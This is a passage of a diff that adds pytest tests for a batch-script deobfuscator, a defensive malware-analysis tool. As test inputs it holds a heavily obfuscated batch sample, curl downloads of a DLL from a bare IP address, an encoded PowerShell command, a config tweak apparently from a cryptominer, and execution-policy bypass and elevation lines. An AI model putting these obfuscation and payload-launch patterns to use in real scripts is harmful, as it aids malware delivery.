+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+
+        cmd = "%':~-124,1%%':~43,1%%':~-96,1%%':~6,1%%':~89,1%%':~-20,1%%':~-82,1%%':~17,1%%':~-69,1%%':~134,1%%':~122,1%%':~7,1%%':~-79,1%%':~-138,1%%':~36,1%%':~-117,1%%':~-96,1%%':~-154,1%%':~-71,1%%':~-67,1%%':~54,1%%':~-67,1%%':~-121,1%%':~154,1%%':~78,1%%':~130,1%%':~-132,1%%':~-138,1%%':~-124,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~12,1%%':~47,1%%':~42,1%%':~-96,1%%':~28,1%%':~78,1%%':~15,1%%':~24,1%%':~-132,1%%':~39,1%%':~47,1%%':~22,1%%':~-124,1%%':~25,1%%':~52,1%%':~-71,1%!'!%':~89,1%%':~122,1%%':~64,1%%':~-118,1%%':~89,1%%':~-143,1%%':~-69,1%%':~89,1%%':~80,1%%':~-124,1%%':~-96,1%%':~-99,1%%':~84,1%%':~70,1%%':~143,1%%':~-26,1%%0 %':~-138,1%%':~36,1%%':~43,1%%':~-96,1%%':~-154,1%%':~-71,1%%':~103,1%%':~20,1%%':~-130,1%%':~-36,1%%':~78,1%%':~45,1%%':~-149,1%%':~-106,1%%':~22,1%%':~36,1%%':~-117,1%%':~84,1%%':~-153,1%%':~6,1%%':~141,1%%':~-90,1%%':~-14,1%%':~122,1%%':~-71,1%%':~19,1%%':~43,1%%':~89,1%%':~-141,1%%':~-108,1%%':~-71,1%%':~19,1%%':~-154,1%%':~89,1%%':~51,1%%':~22,1%%':~36,1%%':~-96,1%%':~-5,1%%':~-135,1%%':~6,1%%':~5,1%%':~-71,1%%':~-96,1%%':~81,1%%':~-117,1%%':~64,1%%':~-71,1%%':~80,1%%':~36,1%%':~-99,1%%':~-79,1%%':~-117,1%%':~-155,1%%':~22,1%%':~36,1%%':~-96,1%%':~-38,1%%':~-19,1%%':~-79,1%%':~70,1%%':~-99,1%%':~39,1%%':~81,1%%':~-138,1%%':~36,1%%':~-117,1%%':~64,1%%':~-154,1%%':~89,1%%':~-113,1%%':~42,1%%':~98,1%%':~-82,1%%':~12,1%%':~24,1%%':~15,1%%':~-149,1%%':~22,1%%':~36,1%%':~43,1%%':~-96,1%%':~-154,1%%':~89,1%%':~-20,1%%':~-82,1%%':~-79,1%%':~17,1%%':~17,1%%':~17,1%%':~-28,1%%':~61,1%%':~-143,1%%':~17,1%%':~17,1%%':~-94,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~-63,1%%':~17,1%%':~-143,1%%':~17,1%%':~87,1%%':~-14,1%%':~17,1%%':~17,1%%':~17,1%%':~124,1%%':~141,1%%':~-143,1%%':~17,1%%':~-143,1%%':~138,1%%':~17,1%%':~17,1%%':~17,1%%':~36,1%%':~-143,1%%':~17,1%%':~17,1%%':~-100,1%%':~-143,1%%':~17,1%%':~17,1%%':~-136,1%%':~17,1%%':~17,1%%':~17,1%%':~-34,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~95,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~-88,1%%':~-143,1%%':~-143,1%%':~17,1%%':~148,1%%':~17,1%%':~17,1%%':~17,1%%':~113,1%%':~17,1%%':~17,1%%':~-143,1%%':~111,1%%':~17,1%%':~17,1%%':~-143,1%%':~-60,1%%':~12,1%%':~17,1%%':~-143,1%%':~-143,1%%':~-17,1%%':~17,1%%':~17,1%%':~17,1%%':~5,1%%':~28,1%%':~-143,1%%':~-143,1%%':~17,1%%':~80,1%%':~17,1%%':~-143,1%%':~17,1%%':~91,1%%':~-130,1%%':~-143,1%%':~17,1%%':~17,1%%':~157,1%%':~70,1%%':~17,1%%':~-143,1%%':~17,1%%':~-138,1%%':~39,1%%':~-143,1%%':~-143,1%%':~17,1%%':~-84,1%%':~17,1%%':~-143,1%%':~-143,1%%':~121,1%%':~-153,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~109,1%%':~-143,1%%':~-143,1%%':~17,1%%':~58,1%%':~-143,1%%':~17,1%%':~17,1%%':~-41,1%%':~-143,1%%':~17,1%%':~17,1%%':~-15,1%%':~-143,1%%':~17,1%%':~17,1%%':~-104,1%%':~17,1%%':~17,1%%':~17,1%%':~17,1%%':~17,1%%':~17,1%%':~-143,1%%':~-57,1%%':~52,1%%':~-145,1%%':~-143,1%%':~17,1%%':~-143,1%%':~128,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~115,1%%':~17,1%%':~-143,1%%':~-143,1%%':~38,1%%':~98,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~-119,1%%':~-143,1%%':~-143,1%%':~17,1%%':~74,1%%':~17,1%%':~17,1%%':~-143,1%%':~-67,1%%':~42,1%%':~-143,1%%':~17,1%%':~17,1%%':~-8,1%%':~17,1%%':~-143,1%%':~-143,1%%':~51,1%%':~85,1%%':~-135,1%%':~-143,1%%':~17,1%%':~17,1%%':~105,1%%':~-91,1%%':~17,1%%':~17,1%%':~17,1%%':~-128,1%%':~-140,1%%':~-143,1%%':~17,1%%':~17,1%%':~-106,1%%':~-117,1%%':~17,1%%':~-143,1%%':~17,1%%':~159,1%%':~17,1%%':~-143,1%%':~-143,1%%':~49,1%%':~17,1%%':~-143,1%%':~-143,1%%':~-133,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~3,1%%':~-143,1%%':~17,1%%':~17,1%%':~68,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-141,1%%':~-154,1%%':~17,1%%':~-143,1%%':~-143,1%%':~154,1%%':~-143,1%%':~-143,1%%':~17,1%%':~-71,1%%':~17,1%%':~-143,1%%':~17,1%%':~107,1%%':~-96,1%%':~101,1%%':~-76,1%%':~-143,1%%':~17,1%%':~17,1%%':~-20,1%%':~-131,1%%':~17,1%%':~17,1%%':~-143,1%%':~78,1%%':~155,1%%':~17,1%%':~-143,1%%':~17,1%%':~-26,1%%':~-143,1%%':~17,1%%':~-143,1%%':~63,1%%':~17,1%%':~-143,1%%':~-143,1%%':~-151,1%%':~17,1%%':~17,1%%':~17,1%%':~83,1%%':~-143,1%%':~17,1%%':~17,1%%':~-113,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-10,1%%':~17,1%%':~17,1%%':~17,1%%':~-24,1%%':~17,1%%':~17,1%%':~17,1%%':~11,1%%':~122,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-159,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-146,1%%':~-143,1%%':~17,1%%':~17,1%%':~-43,1%%':~17,1%%':~-143,1%%':~17,1%%':~130,1%%':~17,1%%':~17,1%%':~-143,1%%':~-115,1%%':~-143,1%%':~17,1%%':~17,1%%':~34,1%%':~22,1%%':~-124,1%%':~43,1%%':~-96,1%%':~-154,1%%':~89,1%%':~-145,1%%':~98,1%%':~-82,1%%':~-5,1%%':~42,1%%':~-138,1%%':~36,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~-8,1%%':~97,1%%':~47,1%%':~132,1%%':~27,1%%':~78,1%%':~83,1%%':~-140,1%%':~39,1%%':~-32,1%%':~-118,1%%':~22,1%%':~-124,1%%':~-117,1%%':~64,1%%':~-154,1%%':~-79,1%%':~70,1%%':~61,1%%':~39,1%%':~-79,1%%':~89,1%%':~-96,1%%':~-38,1%%':~-121,1%%':~-148,1%%':~81,1%%':~64,1%%':~141,1%%':~64,1%%':~81,1%%':~-121,1%%':~85,1%%':~64,1%%':~141,1%%':~64,1%%':~-5,1%%':~30,1%%':~-121,1%%':~122,1%%':~43,1%%':~-135,1%%':~-90,1%%':~-38,1%%':~22,1%%':~-96,1%%':~-38,1%%':~-19,1%%':~-79,1%%':~-99,1%%':~-90,1%%':~-121,1%%':~-79,1%%':~89,1%%':~56,1%%':~134,1%%':~-38,1%%':~7,1%%':~81,1%%':~-138,1%%':~-138,1%%':~36,1%%':~64,1%%':~61,1%%':~84,1%%':~-90,1%%':~143,1%%':~134,1%%0 %':~-138,1%%':~-138,1%%':~36,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~-130,1%%':~-30,1%%':~-76,1%%':~69,1%%':~-82,1%%':~-136,1%%':~85,1%%':~-138,1%%':~36,1%%':~43,1%%':~64,1%%':~-154,1%%':~89,1%%':~-36,1%%':~39,1%%':~27,1%%':~70,1%%':~78,1%%':~119,1%%':~61,1%%':~20,1%%':~-138,1%%':~-124,1%%':~-117,1%%':~64,1%%':~-154,1%%':~-71,1%%':~85,1%%':~-91,1%%':~72,1%%':~78,1%%':~119,1%%':~63,1%%':~-5,1%%':~22,1%%':~36,1%%':~-117,1%%':~-76,1%%':~-153,1%%':~-154,1%%':~-19,1%%':~70,1%%':~-14,1%%':~-38,1%%':~89,1%%':~-141,1%%':~43,1%%':~-71,1%%':~-141,1%%':~52,1%%':~89,1%%':~19,1%%':~-154,1%%':~89,1%%':~51,1%%':~-138,1%%':~22,1%%':~36,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~7,1%%':~119,1%%':~-88,1%%':~-106,1%%':~72,1%%':~-82,1%%':~-77,1%%':~-153,1%%':~-138,1%%':~-124,1%%':~64,1%%':~-5,1%%':~-135,1%%':~-154,1%%':~22,1%%':~22,1%%':~-124,1%%':~64,1%%':~-99,1%%':~84,1%%':~70,1%%':~-71,1%%':~-69,1%"  # noqa: E501
+        cmd2 = deobfuscator.normalize_command(cmd)
+        for cmd3 in deobfuscator.get_commands(cmd2):
+            cmd4 = deobfuscator.normalize_command(cmd3)
+            deobfuscator.interpret_command(cmd4)
+
+        assert deobfuscator.variables["'"].endswith("^N^F^*")
+
+    @staticmethod
+    def test_special_char_var_name():
+        cmd = '@set "ò=BbQw2 1zUta9gCFolxZSYMRJ8jE6ITy7V@md3K0XDkvWr5PN4uecHqpLnOisAfGh"'
+        deobfuscator = BatchDeobfuscator()
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+
+        cmd = "%ò:~33,1%%ò:~50,1%%ò:~51,1%%ò:~63,1%%ò:~15,1%%ò:~5,1%%ò:~15,1%%ò:~61,1%%ò:~61,1%"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        assert cmd2 == "@echo off"
+
+    @staticmethod
+    def test_rem_skip():
+        deobfuscator = BatchDeobfuscator()
+
+        cmd = "set EXP=value"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+
+        cmd = "echo *%EXP%*"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+
+        assert cmd2 == "echo *value*"
+
+        cmd = "REM echo *%EXP%*"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+
+        assert cmd2 == cmd
+
+    @staticmethod
+    def test_fun_var_replace():
+        deobfuscator = BatchDeobfuscator()
+
+        cmd = "%comspec%"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        assert cmd2 == "C:\\WINDOWS\\system32\\cmd.exe"
+
+        cmd = "%comspec:cmd=powershell%"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        assert cmd2 == "C:\\WINDOWS\\system32\\powershell.exe"
+
+    @staticmethod
+    @pytest.mark.skip()
+    def test_bobbystacksmash():
+        # TODO: Improve deobfuscation
+        # Some examples taken from https://github.com/bobbystacksmash/CMD-DeObfuscator
+        deobfuscator = BatchDeobfuscator()
+
+        # Empty string removal
+        # https://github.com/bobbystacksmash/CMD-DeObfuscator#empty-string-removal
+        cmd = 'pow""ersh""ell'
+        cmd2 = deobfuscator.normalize_command(cmd)
+        assert cmd2 == "powershell"
+
+        # String widening
+        # https://github.com/bobbystacksmash/CMD-DeObfuscator#string-widening
+        cmd = 'w"s"c"r"i"p"t'
+        cmd2 = deobfuscator.normalize_command(cmd)
+        assert cmd2 == "wscript"
+
+        # Path resolver
+        # https://github.com/bobbystacksmash/CMD-DeObfuscator#path-resolver-coming-soon
+        cmd = "C:\\foo\\bar\\baz\\..\\..\\..\\Windows\\System32\\cmd.exe"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        assert cmd2 == "C:\\Windows\\System32\\cmd.exe"
+
+    @staticmethod
+    def test_for():
+        deobfuscator = BatchDeobfuscator()
+        cmd = "for /l %%x in (1, 1, 10) do echo %%x"
+        cmd2 = list(deobfuscator.get_commands(cmd))
+        assert len(cmd2) == 3
+        assert cmd2 == ["for /l %%x in (1, 1, 10) do (", "echo %%x", ")"]
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "cmd, download_trait",
+        [
+            (
+                "curl.exe -LO https://www.7-zip.org/a/7z1805-x64.exe",
+                {"src": "https://www.7-zip.org/a/7z1805-x64.exe", "dst": "7z1805-x64.exe"},
+            ),
+            (
+                "curl.exe -o C:\\ProgramData\\output\\output.file 1.1.1.1/file.dat",
+                {"src": "1.1.1.1/file.dat", "dst": "C:\\ProgramData\\output\\output.file"},
+            ),
+            (
+                'curl ""http://1.1.1.1/zazaz/p~~/Y98g~~/"" -o 9jXqQZQh.dll',
+                {"src": "http://1.1.1.1/zazaz/p~~/Y98g~~/", "dst": "9jXqQZQh.dll"},
+            ),
+        ],
+    )
+    def test_interpret_curl(cmd, download_trait):
+        deobfuscator = BatchDeobfuscator()
+        deobfuscator.interpret_curl(cmd)
+        assert len(deobfuscator.traits["download"]) == 1
+        assert deobfuscator.traits["download"][-1][1] == download_trait
+
+    @staticmethod
+    def test_double_double_quote_stripping():
+        deobfuscator = BatchDeobfuscator()
+        cmd = deobfuscator.normalize_command('cmd /C "pow""ershell -e ZQBjAGgAbwAgACIAVwBpAHoAYQByAGQAIgA="')
+        assert cmd == 'cmd /C "powershell -e ZQBjAGgAbwAgACIAVwBpAHoAYQByAGQAIgA="'
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "cmd, exec_cmd",
+        [
+            ('start /b cmd /c "echo Hi"', ["echo Hi"]),
+            ('start /b /i cmd /c "echo Hi"', ["echo Hi"]),
+            ('start /w cmd /c "echo Hi"', ["echo Hi"]),
+            ('start/B /WAIT cmd /c "echo Hi"', ["echo Hi"]),
+            ('start/WAIT /B cmd /c "echo Hi"', ["echo Hi"]),
+        ],
+    )
+    def test_interpret_start(cmd, exec_cmd):
+        deobfuscator = BatchDeobfuscator()
+        deobfuscator.interpret_command(cmd)
+        assert len(deobfuscator.exec_cmd) == len(exec_cmd)
+        for d_e_cmd, e_cmd in zip(deobfuscator.exec_cmd, exec_cmd):
+            assert d_e_cmd == e_cmd
+
+    @staticmethod
+    def test_posix_powershell():
+        deobfuscator = BatchDeobfuscator()
+        cmd = (
+            "powershell -Command \"$out = cat '%USERPROFILE%\\jin\\config.json' | "
+            "%%{$_ -replace '\\\"donate-level\\\": *\\d*,', '\\\"donate-level\\\": 1,'} | "
+            "Out-String; $out | Out-File -Encoding ASCII '%USERPROFILE%\\jin\\config.json'\" "
+        )
+        deobfuscator.interpret_command(cmd)
+        assert len(deobfuscator.exec_ps1) == 1
+        assert deobfuscator.exec_ps1[0] == (
+            b"$out = cat '%USERPROFILE%\\jin\\config.json' | "
+            b"%%{$_ -replace '\"donate-level\": *\\d*,', '\"donate-level\": 1,'} | "
+            b"Out-String; $out | Out-File -Encoding ASCII '%USERPROFILE%\\jin\\config.json'"
+        )
+        deobfuscator.exec_ps1.clear()
+
+        cmd = (
+            'powershell -noprofile -command "&{start-process powershell -ArgumentList'
+            ' \'-noprofile -file \\"%scriptPath%\\"\' -verb RunAs}"'
+        )
+        deobfuscator.interpret_command(cmd)
+        assert len(deobfuscator.exec_ps1) == 1
+        assert (
+            deobfuscator.exec_ps1[0]
+            == b"&{start-process powershell -ArgumentList '-noprofile -file \"%scriptPath%\"' -verb RunAs}"
+        )
+
+    @staticmethod
+    @pytest.mark.skip()
+    def test_non_posix_powershell():
+        deobfuscator = BatchDeobfuscator()
+
+        # TODO: Find out how to parse this as non-posix with shlex without breaking all other cases
+        # What to do with odd number of quotes. Shlex doesn't parse it perfectly.
+        cmd = (
+            'powershell -Command "Get-AppxPackage -Name "Microsoft.OneDriveSync" > '
+            '"%WORKINGDIRONEDRIVE%\\OneDriveSparsePackage.txt" 2>&1'
+        )
+        deobfuscator.interpret_command(cmd)
+        assert len(deobfuscator.exec_ps1) == 1
+        # assert deobfuscator.exec_ps1[0] == "Good command (with or without redirection)"
+        deobfuscator.exec_ps1.clear()
+
+        # TODO: Found out how to keep the \ from this command and keep posix style commands working
+        cmd = r"PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\x64\ISO\x64.ps1"
+        deobfuscator.interpret_command(cmd)
+        assert len(deobfuscator.exec_ps1) == 1
+        assert deobfuscator.exec_ps1[0] == rb"C:\ProgramData\x64\ISO\x64.ps1"
+
+    @staticmethod
+    def test_anti_recursivity():
+        deobfuscator = BatchDeobfuscator()
+        cmd = 'set "str=a"'
+        deobfuscator.interpret_command(cmd)
+
+        cmd = 'set "str=!str:"=\\"!"'
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+
+        cmd = "echo %str%"
+        cmd2 = deobfuscator.normalize_command(cmd)
+
+        assert cmd2 == "echo a"
+
+    @staticmethod
+    def test_anti_recursivity_with_quotes():
+        deobfuscator = BatchDeobfuscator()
+        cmd = 'set "str=a"a"'
+        deobfuscator.interpret_command(cmd)
+
+        cmd = 'set "str=!str:"=\\"!"'
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+
+        cmd = "echo %str%"
+        cmd2 = deobfuscator.normalize_command(cmd)
+
+        assert cmd2 == 'echo a\\"a'